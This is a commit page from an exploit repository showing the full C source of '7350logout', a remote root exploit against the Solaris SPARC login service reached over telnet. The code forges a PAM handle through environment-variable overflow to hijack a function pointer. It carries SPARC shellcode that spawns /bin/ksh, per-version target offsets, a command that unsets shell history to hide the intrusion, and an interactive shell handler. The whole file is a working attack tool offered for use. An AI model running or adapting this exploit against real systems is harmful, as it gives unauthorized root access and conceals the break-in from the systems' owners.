diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /exploits/7350logout | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'exploits/7350logout')
| -rw-r--r-- | exploits/7350logout/7350logout | bin | 0 -> 20426 bytes | |||
| -rw-r--r-- | exploits/7350logout/7350logout-0.2.1.c | 954 | ||||
| -rw-r--r-- | exploits/7350logout/7350logout.c | 1189 | ||||
| -rw-r--r-- | exploits/7350logout/irix-6.5-login.c | 3867 | ||||
| -rw-r--r-- | exploits/7350logout/login-27-x86 | bin | 0 -> 27996 bytes | |||
| -rw-r--r-- | exploits/7350logout/login-ex.c-20020318-morgan | 533 | ||||
| -rw-r--r-- | exploits/7350logout/loginex.c | 302 | ||||
| -rw-r--r-- | exploits/7350logout/pam.txt | 103 | ||||
| -rw-r--r-- | exploits/7350logout/solaris-2.4-sparc-login | bin | 0 -> 27260 bytes | |||
| -rw-r--r-- | exploits/7350logout/solaris-2.6-sparc-login | bin | 0 -> 29444 bytes | |||
| -rw-r--r-- | exploits/7350logout/solaris-2.6-sparc-login2 | bin | 0 -> 29512 bytes | |||
| -rw-r--r-- | exploits/7350logout/solaris-2.7-login.c | 2355 | ||||
| -rw-r--r-- | exploits/7350logout/solaris-2.8-sparc-login | bin | 0 -> 29292 bytes | |||
| -rw-r--r-- | exploits/7350logout/solaris-2.8-sparc-login-patched | bin | 0 -> 29200 bytes | |||
| -rw-r--r-- | exploits/7350logout/solaris-2.8-sparc-login.o | bin | 0 -> 38604 bytes |
15 files changed, 9303 insertions, 0 deletions
diff --git a/exploits/7350logout/7350logout b/exploits/7350logout/7350logout new file mode 100644 index 0000000..6065c71 --- /dev/null +++ b/exploits/7350logout/7350logout | |||
| Binary files differ | |||
diff --git a/exploits/7350logout/7350logout-0.2.1.c b/exploits/7350logout/7350logout-0.2.1.c new file mode 100644 index 0000000..5d2100f --- /dev/null +++ b/exploits/7350logout/7350logout-0.2.1.c | |||
| @@ -0,0 +1,954 @@ | |||
| 1 | /* 7350logout - sparc/solaris login remote root exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The distribution restrictions cover the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
| 20 | * 2001/12/19 -scut | ||
| 21 | * | ||
| 22 | * tested on: | ||
| 23 | * | ||
| 24 | * SunOS 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-1 | ||
| 25 | * SunOS 5.8 Generic sun4m sparc SUNW,SPARCstation-10 | ||
| 26 | * | ||
| 27 | * TODO: get 2.5.1 binary, verify offsets against 2.5.1 and 2.6 | ||
| 28 | * | ||
| 29 | * on sol: cc -o 7 7.c -lnsl -lsocket | ||
| 30 | */ | ||
| 31 | |||
| 32 | #define VERSION "0.2.1" | ||
| 33 | |||
| 34 | #include <sys/types.h> | ||
| 35 | #include <sys/time.h> | ||
| 36 | #include <sys/socket.h> | ||
| 37 | #include <netinet/in.h> | ||
| 38 | #include <arpa/inet.h> | ||
| 39 | #include <arpa/telnet.h> | ||
| 40 | #include <netdb.h> | ||
| 41 | #include <fcntl.h> | ||
| 42 | #include <errno.h> | ||
| 43 | #include <unistd.h> | ||
| 44 | #include <stdio.h> | ||
| 45 | #include <stdlib.h> | ||
| 46 | #include <string.h> | ||
| 47 | |||
| 48 | |||
| 49 | /* ok, here are the guts of our PAM power technique ;) | ||
| 50 | * | ||
| 51 | * 1. we expect this memory layout in the static .bss space: | ||
| 52 | * [envbuf] 0x800 environment string buffer | ||
| 53 | * [args] 63 * 0x04 environment pointer buffer | ||
| 54 | * [pamh] 0x4 pam_handle pointer | ||
| 55 | * | ||
| 56 | * after doing a failed login, which sets up the pamh pointer properly, we | ||
| 57 | * supply a large number of environment variables. this overwrites pamh with | ||
| 58 | * a pointer to our string data. through encoding everything nasty in octal | ||
| 59 | * chars, we can supply anything there, even NUL bytes. we setup a valid | ||
| 60 | * pam_handle structure there, with some "to-survive-barely" data and a | ||
| 61 | * fake AUTH module structure. this structure contains a pointer to our | ||
| 62 | * static buffer again, slided by a few bytes. the function pointer which | ||
| 63 | * is called by PAM functions read a pointer from this login-supplied address. | ||
| 64 | * so this technique is basically binary-fixed, but only requires one exact | ||
| 65 | * 4-byte-aligned offset to be known, the &args[0] address, which is normally | ||
| 66 | * the .bss start + 0x800. -sc | ||
| 67 | */ | ||
| 68 | typedef struct { | ||
| 69 | char * desc; /* distribution */ | ||
| 70 | unsigned long int args; /* &args[0] buffer address */ | ||
| 71 | |||
| 72 | unsigned char * shellcode; | ||
| 73 | unsigned int shellcode_len; | ||
| 74 | } tgt_type; | ||
| 75 | |||
| 76 | |||
| 77 | /* 48 byte sparc/solaris pic execve shellcode, lsd-pl.net, thanks! | ||
| 78 | */ | ||
| 79 | unsigned char sparc_solaris_execve[] = | ||
| 80 | "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ | ||
| 81 | "\x20\xbf\xff\xff" /* bn,a <shellcode> */ | ||
| 82 | "\x7f\xff\xff\xff" /* call <shellcode+4> */ | ||
| 83 | "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ | ||
| 84 | "\x92\x02\x20\x10" /* add %o0,16,%o1 */ | ||
| 85 | "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ | ||
| 86 | "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ | ||
| 87 | "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ | ||
| 88 | "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ | ||
| 89 | "\x91\xd0\x20\x08" /* ta 8 */ | ||
| 90 | "/bin/ksh"; | ||
| 91 | |||
| 92 | #define SH_INIT "unset HISTFILE;id;uname -a;uptime;\n" | ||
| 93 | |||
| 94 | |||
| 95 | tgt_type targets[] = { | ||
| 96 | /* solaris 2.4 uses libauth, a libpam precessor, which looks different. | ||
| 97 | * i suppose it would be able to make this technique work with libauth, | ||
| 98 | * but its not worth the effort (though they look very similar) | ||
| 99 | { "Solaris 2.4 SPARC", 0x00026e78, | ||
| 100 | sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }, | ||
| 101 | */ | ||
| 102 | { "Solaris 2.6 SPARC", 0x00027620, | ||
| 103 | sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }, | ||
| 104 | { "Solaris 2.7|2.8 SPARC", 0x000275c0, | ||
| 105 | sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }, | ||
| 106 | { NULL, 0x00000000, NULL, 0 }, | ||
| 107 | }; | ||
| 108 | |||
| 109 | tgt_type target_manual = { | ||
| 110 | "Manual target", 0x0, | ||
| 111 | sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }; | ||
| 112 | |||
| 113 | |||
| 114 | unsigned long int args_manual = 0x0; | ||
| 115 | |||
| 116 | char * dest = "127.0.0.1"; /* can be changed with -d */ | ||
| 117 | int verbose = 0, | ||
| 118 | debug = 0; | ||
| 119 | |||
| 120 | |||
| 121 | /* prototypes | ||
| 122 | */ | ||
| 123 | |||
| 124 | void usage (char *progname); | ||
| 125 | void shell (int sock); | ||
| 126 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 127 | void exploit (int fd); | ||
| 128 | unsigned int exploit_pam (unsigned char *ww); | ||
| 129 | unsigned int exploit_addstring (unsigned char *ww, unsigned char *str); | ||
| 130 | unsigned int exploit_addbuf (unsigned char *ww, unsigned char *buf, | ||
| 131 | unsigned int buf_len); | ||
| 132 | unsigned int exploit_addbufquot (unsigned char *ww, unsigned char *buf, | ||
| 133 | unsigned int buf_len); | ||
| 134 | unsigned int exploit_addchars (unsigned char *ww, unsigned char wc, | ||
| 135 | unsigned int count); | ||
| 136 | unsigned int exploit_addraw (unsigned char *ww, unsigned char wc); | ||
| 137 | unsigned int exploit_addchar (unsigned char *ww, unsigned char wc); | ||
| 138 | unsigned int exploit_addptrs (unsigned char *ww, unsigned long int ptr, | ||
| 139 | unsigned int count); | ||
| 140 | unsigned int exploit_addptr (unsigned char *ww, unsigned long int ptr); | ||
| 141 | ssize_t telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize, | ||
| 142 | char *prompt); | ||
| 143 | ssize_t telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize); | ||
| 144 | int telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len); | ||
| 145 | void telnet_send (int fd, unsigned char type, unsigned char option); | ||
| 146 | void tgt_list (void); | ||
| 147 | unsigned long int net_resolve (char *host); | ||
| 148 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 149 | unsigned short int port, int sec); | ||
| 150 | int net_rtimeout (int fd, int sec); | ||
| 151 | int nwrite (int fd, unsigned char *ptr, unsigned int len); | ||
| 152 | |||
| 153 | |||
| 154 | |||
| 155 | void | ||
| 156 | usage (char *progname) | ||
| 157 | { | ||
| 158 | fprintf (stderr, "usage: %s [-h] [-v] [-D] [-p] [-t num] [-a addr] " | ||
| 159 | "[-d dst]\n\n", progname); | ||
| 160 | |||
| 161 | fprintf (stderr, "-h\tdisplay this usage\n" | ||
| 162 | "-v\tincrease verbosity\n" | ||
| 163 | "-D\tDEBUG mode\n" | ||
| 164 | "-p\tspawn ttyloop directly (use when problem arise)\n" | ||
| 165 | "-t num\tselect target type (zero for list)\n" | ||
| 166 | "-a a\tacp option: set &args[0]\n" | ||
| 167 | "\t(manual offset, try 0x27500-0x27700, " | ||
| 168 | "0x8 then 0x4 steps)\n" | ||
| 169 | "-d dst\tdestination ip or fqhn (default: 127.0.0.1)\n\n"); | ||
| 170 | |||
| 171 | exit (EXIT_FAILURE); | ||
| 172 | } | ||
| 173 | |||
| 174 | |||
| 175 | int fastprompt = 0; | ||
| 176 | tgt_type * tgt = NULL; | ||
| 177 | |||
| 178 | int | ||
| 179 | main (int argc, char *argv[]) | ||
| 180 | { | ||
| 181 | int fd, | ||
| 182 | tgt_num = -1; | ||
| 183 | char c; | ||
| 184 | char * progname; | ||
| 185 | unsigned char rbuf[4096]; | ||
| 186 | |||
| 187 | |||
| 188 | #ifndef NOTAG | ||
| 189 | fprintf (stderr, "7350logout - sparc/solaris login remote root " | ||
| 190 | "(version "VERSION") -sc.\n" | ||
| 191 | "team teso.\n\n"); | ||
| 192 | #endif | ||
| 193 | |||
| 194 | progname = argv[0]; | ||
| 195 | if (argc < 2) | ||
| 196 | usage (progname); | ||
| 197 | |||
| 198 | |||
| 199 | while ((c = getopt (argc, argv, "ht:vDpa:d:")) != EOF) { | ||
| 200 | switch (c) { | ||
| 201 | case 'h': | ||
| 202 | usage (progname); | ||
| 203 | break; | ||
| 204 | case 't': | ||
| 205 | if (sscanf (optarg, "%u", &tgt_num) != 1) | ||
| 206 | usage (progname); | ||
| 207 | break; | ||
| 208 | case 'v': | ||
| 209 | verbose += 1; | ||
| 210 | break; | ||
| 211 | case 'D': | ||
| 212 | debug = 1; | ||
| 213 | break; | ||
| 214 | case 'p': | ||
| 215 | fastprompt = 1; | ||
| 216 | break; | ||
| 217 | case 'a': | ||
| 218 | if (sscanf (optarg, "0x%lx", &args_manual) != 1) { | ||
| 219 | fprintf (stderr, "give args address in 0x123 " | ||
| 220 | "format, dumb pentester!\n"); | ||
| 221 | exit (EXIT_FAILURE); | ||
| 222 | } | ||
| 223 | break; | ||
| 224 | case 'd': | ||
| 225 | dest = optarg; | ||
| 226 | break; | ||
| 227 | default: | ||
| 228 | usage (progname); | ||
| 229 | break; | ||
| 230 | } | ||
| 231 | } | ||
| 232 | |||
| 233 | if (args_manual != 0) { | ||
| 234 | tgt = &target_manual; | ||
| 235 | tgt->args = args_manual; | ||
| 236 | fprintf (stderr, "using manual target\n"); | ||
| 237 | } else if (tgt_num <= 0 || | ||
| 238 | (tgt_num >= (sizeof (targets) / sizeof (tgt_type)))) | ||
| 239 | { | ||
| 240 | if (tgt_num != 0) | ||
| 241 | printf ("WARNING: target out of list. list:\n\n"); | ||
| 242 | |||
| 243 | tgt_list (); | ||
| 244 | |||
| 245 | exit (EXIT_SUCCESS); | ||
| 246 | } else if (tgt == NULL) | ||
| 247 | tgt = &targets[tgt_num - 1]; | ||
| 248 | |||
| 249 | |||
| 250 | fd = net_connect (NULL, dest, 23, 20); | ||
| 251 | if (fd <= 0) { | ||
| 252 | fprintf (stderr, "failed to connect\n"); | ||
| 253 | exit (EXIT_FAILURE); | ||
| 254 | } | ||
| 255 | |||
| 256 | /* catch initial telnet option processing, then wait for "login: " | ||
| 257 | * prompt to appear | ||
| 258 | */ | ||
| 259 | telnet_prompt (fd, rbuf, sizeof (rbuf), "login: "); | ||
| 260 | fprintf (stderr, "# detected first login prompt\n"); | ||
| 261 | |||
| 262 | /* send one initial login attempt (to set pamh) | ||
| 263 | */ | ||
| 264 | write (fd, "foo 7350\n", 9); | ||
| 265 | sleep (1); | ||
| 266 | write (fd, "pass\n", 5); | ||
| 267 | sleep (1); | ||
| 268 | |||
| 269 | telnet_prompt (fd, rbuf, sizeof (rbuf), "login: "); | ||
| 270 | fprintf (stderr, "# detected second login prompt\n"); | ||
| 271 | |||
| 272 | if (debug) { | ||
| 273 | fprintf (stderr, "### attach and press enter!\n"); | ||
| 274 | getchar (); | ||
| 275 | } | ||
| 276 | exploit (fd); | ||
| 277 | fprintf (stderr, | ||
| 278 | "# send long login bait, waiting for password prompt\n"); | ||
| 279 | |||
| 280 | if (fastprompt || debug) { | ||
| 281 | fprintf (stderr, "# press enter at the prompt\n"); | ||
| 282 | } else { | ||
| 283 | telnet_prompt (fd, rbuf, sizeof (rbuf), "Password: "); | ||
| 284 | fprintf (stderr, "# received password prompt, success?\n"); | ||
| 285 | write (fd, "7350\n", 5); | ||
| 286 | |||
| 287 | fprintf (stderr, "# waiting for shell " | ||
| 288 | "(more than 5s hanging = failure)\n"); | ||
| 289 | telnet_prompt (fd, rbuf, sizeof (rbuf), "#"); | ||
| 290 | |||
| 291 | fprintf (stderr, | ||
| 292 | "# detected shell prompt, successful exploitation\n"); | ||
| 293 | fprintf (stderr, "###########################################" | ||
| 294 | "################################\n"); | ||
| 295 | |||
| 296 | write (fd, SH_INIT, strlen (SH_INIT)); | ||
| 297 | } | ||
| 298 | |||
| 299 | shell (fd); | ||
| 300 | |||
| 301 | exit (EXIT_SUCCESS); | ||
| 302 | } | ||
| 303 | |||
| 304 | |||
| 305 | unsigned int envcount; | ||
| 306 | #define MAXARGS 63 | ||
| 307 | |||
| 308 | void | ||
| 309 | exploit (int fd) | ||
| 310 | { | ||
| 311 | int n; | ||
| 312 | unsigned char * ww; /* wbuf walker */ | ||
| 313 | unsigned char wbuf[8192]; | ||
| 314 | unsigned long retaddr; /* where to return to */ | ||
| 315 | |||
| 316 | |||
| 317 | envcount = 0; | ||
| 318 | memset (wbuf, '\x00', sizeof (wbuf)); | ||
| 319 | ww = &wbuf[0]; | ||
| 320 | |||
| 321 | ww += exploit_addstring (ww, "sP!"); | ||
| 322 | |||
| 323 | for (n = 0 ; n < MAXARGS - 1 ; ++n) { | ||
| 324 | ww += exploit_addraw (ww, '\x20'); | ||
| 325 | ww += exploit_addchar (ww, 'a'); | ||
| 326 | } | ||
| 327 | |||
| 328 | /* with this environment setting we rewrite the 'pamh' pointer, so | ||
| 329 | * the content of our string must be a valid pam_handle structure, | ||
| 330 | * with various settings, so that we can take over a function pointer | ||
| 331 | * which will later be triggered by pam_authenticate. complicated | ||
| 332 | * stuff, uhhohh! | ||
| 333 | */ | ||
| 334 | ww += exploit_addraw (ww, '\x20'); | ||
| 335 | ww += exploit_pam (ww); | ||
| 336 | |||
| 337 | /* PADDING */ | ||
| 338 | ww += exploit_addstring (ww, "PPP"); | ||
| 339 | |||
| 340 | ww += exploit_addraw (ww, '\x20'); | ||
| 341 | |||
| 342 | retaddr = tgt->args - 0x0800; /* = &envbuf[0] */ | ||
| 343 | retaddr += envcount + 8; /* + written stuff + addr + pad */ | ||
| 344 | if (debug) | ||
| 345 | ww += exploit_addptr (ww, 0x41414140); | ||
| 346 | else | ||
| 347 | ww += exploit_addptr (ww, retaddr); | ||
| 348 | |||
| 349 | fprintf (stderr, "# returning to 0x%08lx\n", retaddr); | ||
| 350 | ww += exploit_addraw (ww, '\x20'); | ||
| 351 | |||
| 352 | ww += exploit_addstring (ww, "PPP"); /* padding */ | ||
| 353 | ww += exploit_addbufquot (ww, tgt->shellcode, tgt->shellcode_len); | ||
| 354 | |||
| 355 | *ww++ = '\n'; | ||
| 356 | |||
| 357 | n = ww - &wbuf[0]; | ||
| 358 | if (verbose) | ||
| 359 | hexdump ("sendbuffer", wbuf, n); | ||
| 360 | |||
| 361 | nwrite (fd, wbuf, n); | ||
| 362 | } | ||
| 363 | |||
| 364 | |||
| 365 | #define PAM_USER 2 | ||
| 366 | #define PAM_MAX_ITEMS 64 | ||
| 367 | |||
| 368 | unsigned int | ||
| 369 | exploit_pam (unsigned char *ww) | ||
| 370 | { | ||
| 371 | unsigned int n; | ||
| 372 | unsigned char * wwo = ww; | ||
| 373 | |||
| 374 | |||
| 375 | /* add pam_item ps_item[PAM_MAX_ITEMS] structures */ | ||
| 376 | for (n = 0 ; n < PAM_MAX_ITEMS ; ++n) { | ||
| 377 | if (n == PAM_USER) { | ||
| 378 | ww += exploit_addptr (ww, tgt->args); | ||
| 379 | ww += exploit_addptr (ww, 0x00000001); | ||
| 380 | } else { | ||
| 381 | ww += exploit_addchars (ww, '\x00', 8); | ||
| 382 | } | ||
| 383 | } | ||
| 384 | |||
| 385 | /* pam_conf_info[0] (AUTH) = pameptr | ||
| 386 | */ | ||
| 387 | ww += exploit_addptr (ww, tgt->args + (64 * 4) - 0x18); | ||
| 388 | |||
| 389 | /* pam_conf_info[1-3], ssd, fd, pam_env, | ||
| 390 | * pam_client_message_version_number | ||
| 391 | */ | ||
| 392 | ww += exploit_addptrs (ww, 0x00000000, 3 + 4); | ||
| 393 | |||
| 394 | return (ww - wwo); | ||
| 395 | } | ||
| 396 | |||
| 397 | |||
| 398 | unsigned int | ||
| 399 | exploit_addstring (unsigned char *ww, unsigned char *str) | ||
| 400 | { | ||
| 401 | unsigned char * wwo = ww; | ||
| 402 | |||
| 403 | ww += exploit_addbuf (ww, str, strlen (str)); | ||
| 404 | |||
| 405 | return (ww - wwo); | ||
| 406 | } | ||
| 407 | |||
| 408 | |||
| 409 | unsigned int | ||
| 410 | exploit_addbuf (unsigned char *ww, unsigned char *buf, unsigned int buf_len) | ||
| 411 | { | ||
| 412 | unsigned char * wwo; | ||
| 413 | |||
| 414 | for (wwo = ww ; buf_len > 0 ; ++buf, --buf_len) | ||
| 415 | ww += exploit_addchar (ww, *buf); | ||
| 416 | |||
| 417 | return (ww - wwo); | ||
| 418 | } | ||
| 419 | |||
| 420 | |||
| 421 | unsigned int | ||
| 422 | exploit_addbufquot (unsigned char *ww, unsigned char *buf, | ||
| 423 | unsigned int buf_len) | ||
| 424 | { | ||
| 425 | unsigned char wc; | ||
| 426 | unsigned char * wwo; | ||
| 427 | |||
| 428 | for (wwo = ww ; buf_len > 0 ; --buf_len, ++buf) { | ||
| 429 | wc = *buf; | ||
| 430 | |||
| 431 | *ww++ = '\\'; | ||
| 432 | *ww++ = ((wc & 0300) >> 6) + '0'; | ||
| 433 | *ww++ = ((wc & 0070) >> 3) + '0'; | ||
| 434 | *ww++ = (wc & 0007) + '0'; | ||
| 435 | envcount += 1; | ||
| 436 | } | ||
| 437 | |||
| 438 | return (ww - wwo); | ||
| 439 | } | ||
| 440 | |||
| 441 | |||
| 442 | unsigned int | ||
| 443 | exploit_addchars (unsigned char *ww, unsigned char wc, unsigned int count) | ||
| 444 | { | ||
| 445 | unsigned char * wwo; | ||
| 446 | |||
| 447 | for (wwo = ww ; count > 0 ; --count) { | ||
| 448 | ww += exploit_addchar (ww, wc); | ||
| 449 | } | ||
| 450 | |||
| 451 | return (ww - wwo); | ||
| 452 | } | ||
| 453 | |||
| 454 | |||
| 455 | unsigned int | ||
| 456 | exploit_addraw (unsigned char *ww, unsigned char wc) | ||
| 457 | { | ||
| 458 | if (wc == '\x20' || *ww == '\x09') | ||
| 459 | envcount += 1; | ||
| 460 | |||
| 461 | *ww = wc; | ||
| 462 | |||
| 463 | return (1); | ||
| 464 | } | ||
| 465 | |||
| 466 | |||
| 467 | unsigned int | ||
| 468 | exploit_addchar (unsigned char *ww, unsigned char wc) | ||
| 469 | { | ||
| 470 | unsigned char * wwo = ww; | ||
| 471 | |||
| 472 | switch (wc) { | ||
| 473 | case ('\xff'): | ||
| 474 | *ww++ = '\xff'; /* escape telnet iac crap */ | ||
| 475 | *ww++ = '\xff'; | ||
| 476 | break; | ||
| 477 | case ('\\'): | ||
| 478 | *ww++ = '\\'; | ||
| 479 | *ww++ = '\\'; | ||
| 480 | break; | ||
| 481 | case ('\n'): | ||
| 482 | case (' '): | ||
| 483 | case ('\t'): | ||
| 484 | *ww++ = '\\'; | ||
| 485 | *ww++ = ((wc & 0300) >> 6) + '0'; | ||
| 486 | *ww++ = ((wc & 0070) >> 3) + '0'; | ||
| 487 | *ww++ = (wc & 0007) + '0'; | ||
| 488 | break; | ||
| 489 | default: | ||
| 490 | *ww++ = wc; | ||
| 491 | break; | ||
| 492 | } | ||
| 493 | |||
| 494 | envcount += 1; | ||
| 495 | |||
| 496 | return (ww - wwo); | ||
| 497 | } | ||
| 498 | |||
| 499 | |||
| 500 | unsigned int | ||
| 501 | exploit_addptrs (unsigned char *ww, unsigned long int ptr, unsigned int count) | ||
| 502 | { | ||
| 503 | unsigned char * wwo; | ||
| 504 | |||
| 505 | for (wwo = ww ; count > 0 ; --count) { | ||
| 506 | ww += exploit_addptr (ww, ptr); | ||
| 507 | } | ||
| 508 | |||
| 509 | return (ww - wwo); | ||
| 510 | } | ||
| 511 | |||
| 512 | |||
| 513 | unsigned int | ||
| 514 | exploit_addptr (unsigned char *ww, unsigned long int ptr) | ||
| 515 | { | ||
| 516 | unsigned char * wwo = ww; | ||
| 517 | |||
| 518 | /* big endian */ | ||
| 519 | ww += exploit_addchar (ww, (ptr >> 24) & 0xff); | ||
| 520 | ww += exploit_addchar (ww, (ptr >> 16) & 0xff); | ||
| 521 | ww += exploit_addchar (ww, (ptr >> 8) & 0xff); | ||
| 522 | ww += exploit_addchar (ww, ptr & 0xff); | ||
| 523 | |||
| 524 | return (ww - wwo); | ||
| 525 | } | ||
| 526 | |||
| 527 | |||
| 528 | /* telnet_prompt | ||
| 529 | * | ||
| 530 | * loop in telnet i/o until a prompt appears, given by `prompt' parameter | ||
| 531 | * else behave as telnet_read would | ||
| 532 | */ | ||
| 533 | |||
| 534 | ssize_t | ||
| 535 | telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize, | ||
| 536 | char *prompt) | ||
| 537 | { | ||
| 538 | ssize_t rtemp; | ||
| 539 | |||
| 540 | |||
| 541 | do { | ||
| 542 | rtemp = telnet_read (fd, inbuf, inbufsize); | ||
| 543 | if (rtemp == 0) { | ||
| 544 | fprintf (stderr, "failed telnet_prompt.\n"); | ||
| 545 | |||
| 546 | exit (EXIT_FAILURE); | ||
| 547 | } | ||
| 548 | |||
| 549 | if (verbose >= 2) { | ||
| 550 | fprintf (stderr, "rbuf: "); | ||
| 551 | write (2, inbuf, rtemp); | ||
| 552 | } | ||
| 553 | } while (strstr (inbuf, prompt) == NULL); | ||
| 554 | |||
| 555 | return (rtemp); | ||
| 556 | } | ||
| 557 | |||
| 558 | |||
| 559 | /* telnet_read | ||
| 560 | * | ||
| 561 | * read() function that takes care of all the telnet option negotiation crap | ||
| 562 | * | ||
| 563 | * return value just like read() | ||
| 564 | */ | ||
| 565 | |||
| 566 | ssize_t | ||
| 567 | telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize) | ||
| 568 | { | ||
| 569 | ssize_t rc; | ||
| 570 | int idleflag; | ||
| 571 | int atecount; | ||
| 572 | |||
| 573 | |||
| 574 | while ((idleflag = net_rtimeout (fd, 15)) == 1) { | ||
| 575 | rc = read (fd, inbuf, inbufsize); | ||
| 576 | if (verbose) | ||
| 577 | hexdump ("from wire", inbuf, rc); | ||
| 578 | atecount = telnet_eatall (fd, inbuf, rc); | ||
| 579 | rc -= atecount; | ||
| 580 | if (verbose) | ||
| 581 | hexdump ("after processing", inbuf, rc); | ||
| 582 | /* FIXME: correct? */ | ||
| 583 | { | ||
| 584 | int n; | ||
| 585 | |||
| 586 | for (n = 0 ; n < rc ; ++n) { | ||
| 587 | if (inbuf[n] == '\x00') | ||
| 588 | inbuf[n] = '\x01'; | ||
| 589 | } | ||
| 590 | } | ||
| 591 | if (rc > 0) | ||
| 592 | return (rc); | ||
| 593 | } | ||
| 594 | |||
| 595 | if (idleflag == -1) | ||
| 596 | fprintf (stderr, "# telnetd either died or invalid response\n"); | ||
| 597 | |||
| 598 | return (rc); | ||
| 599 | } | ||
| 600 | |||
| 601 | |||
| 602 | /* telnet_eatall | ||
| 603 | * | ||
| 604 | * eat all telnet negotiation stuff and answer it, so we get through. | ||
| 605 | * basically copied 1:1 from netcat. | ||
| 606 | */ | ||
| 607 | |||
| 608 | int | ||
| 609 | telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len) | ||
| 610 | { | ||
| 611 | int eat; | ||
| 612 | int changed; | ||
| 613 | |||
| 614 | |||
| 615 | for (eat = 0 ; inbuf_len > 2 ; ++inbuf, --inbuf_len) { | ||
| 616 | changed = 0; | ||
| 617 | |||
| 618 | if (inbuf[0] != IAC || inbuf_len < 2) | ||
| 619 | continue; | ||
| 620 | |||
| 621 | if (inbuf[1] == WILL && inbuf[2] == TELOPT_SGA) { | ||
| 622 | inbuf[1] = DO; /* IAC WILL SUPPRESSGOAHEAD, DO IT! */ | ||
| 623 | changed = 1; | ||
| 624 | } else if (inbuf[1] == WILL && inbuf[2] == TELOPT_ECHO) { | ||
| 625 | inbuf[1] = DO; /* IAC WILL ECHO, DO IT! */ | ||
| 626 | changed = 1; | ||
| 627 | } else | ||
| 628 | if (inbuf[1] == WILL || inbuf[1] == WONT) { | ||
| 629 | inbuf[1] = DONT; | ||
| 630 | changed = 1; | ||
| 631 | } else if (inbuf[1] == DO || inbuf[1] == DONT) { | ||
| 632 | inbuf[1] = WONT; | ||
| 633 | changed = 1; | ||
| 634 | } | ||
| 635 | if (changed) | ||
| 636 | write (fd, inbuf, 3); | ||
| 637 | |||
| 638 | if (inbuf_len > 3) | ||
| 639 | memmove (&inbuf[0], &inbuf[3], inbuf_len - 3); | ||
| 640 | |||
| 641 | --inbuf; | ||
| 642 | inbuf_len -= 2; | ||
| 643 | eat += 3; | ||
| 644 | } | ||
| 645 | |||
| 646 | return (eat); | ||
| 647 | } | ||
| 648 | |||
| 649 | |||
| 650 | void | ||
| 651 | telnet_send (int fd, unsigned char type, unsigned char option) | ||
| 652 | { | ||
| 653 | unsigned char buf[3]; | ||
| 654 | |||
| 655 | buf[0] = IAC; | ||
| 656 | buf[1] = type; | ||
| 657 | buf[2] = option; | ||
| 658 | |||
| 659 | write (fd, buf, sizeof (buf)); | ||
| 660 | } | ||
| 661 | |||
| 662 | |||
| 663 | void | ||
| 664 | tgt_list (void) | ||
| 665 | { | ||
| 666 | int tgt_num; | ||
| 667 | |||
| 668 | |||
| 669 | printf ("num . description\n"); | ||
| 670 | printf ("----+-----------------------------------------------" | ||
| 671 | "--------\n"); | ||
| 672 | |||
| 673 | for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) { | ||
| 674 | printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc); | ||
| 675 | |||
| 676 | if (verbose) | ||
| 677 | printf (" : 0x%08lx\n", targets[tgt_num].args); | ||
| 678 | } | ||
| 679 | printf (" '\n"); | ||
| 680 | |||
| 681 | return; | ||
| 682 | } | ||
| 683 | |||
| 684 | |||
| 685 | void | ||
| 686 | shell (int sock) | ||
| 687 | { | ||
| 688 | int l; | ||
| 689 | char buf[512]; | ||
| 690 | fd_set rfds; | ||
| 691 | |||
| 692 | |||
| 693 | while (1) { | ||
| 694 | FD_SET (0, &rfds); | ||
| 695 | FD_SET (sock, &rfds); | ||
| 696 | |||
| 697 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 698 | if (FD_ISSET (0, &rfds)) { | ||
| 699 | l = read (0, buf, sizeof (buf)); | ||
| 700 | if (l <= 0) { | ||
| 701 | perror ("read user"); | ||
| 702 | exit (EXIT_FAILURE); | ||
| 703 | } | ||
| 704 | write (sock, buf, l); | ||
| 705 | } | ||
| 706 | |||
| 707 | if (FD_ISSET (sock, &rfds)) { | ||
| 708 | l = telnet_read (sock, buf, sizeof (buf)); | ||
| 709 | if (l <= 0) { | ||
| 710 | perror ("read remote"); | ||
| 711 | exit (EXIT_FAILURE); | ||
| 712 | } | ||
| 713 | write (1, buf, l); | ||
| 714 | } | ||
| 715 | } | ||
| 716 | } | ||
| 717 | |||
